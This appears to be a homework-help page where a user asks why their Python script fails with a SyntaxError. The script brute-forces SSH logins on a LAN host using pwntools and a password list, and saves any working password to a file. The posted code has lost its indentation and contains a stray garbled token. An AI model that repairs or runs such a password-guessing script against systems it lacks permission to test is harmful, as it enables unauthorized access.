Question: I ' m still stuck on this script. It errors as: SyntaxError: expected 'except' or 'finally' block. While there is an except block in

"I'm still stuck on this script. It errors as: SyntaxError: expected 'except' or 'finally' block. While there is an except block in the script, not sure if I have everything indented properly.
#!/usr/bin/python3
from pwn import *
import sys
import time
import paramiko
host =""192.168.1.113""
username =""dan""
attem =10
#opens password list in read only mode:
with open(""passwords.txt"",""r"") as password_list:
for password in password_list:
password = password.strip(""
"")
#try clause:
try:
print(""[{}] Trying Password: '{}'!"".format(attem, password))
response = ssh(host=host, user=username, password=password, timeout=1)
if response.connected():
print(""[!] A Valid Password Was Found ==>'{}'!"".format(password))
#open function creates text file in write mode:
logFile = op XS05 en(""/home/dan/Documents/logFile.txt"",""w+"")
#writes text to the text file:
logFile.write(""The host is: {}
The password is: {}
"".format(host, password))
#closes the text file:
logFile.close()
response.close()
break
response.close()
except paramiko.ssh_exception.AuthenticationException:
print(""[X] Invalid Password!"")
attem +=1
for i in range (0,51):
time.sleep(0.1)
sys.stdout.write(""{}[{}{}]\r"".format(i,'#'*i,"".""*(50-i)))
# sys.stdout.flush()
# sys.stdout.write(""
"")"

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Programming Questions!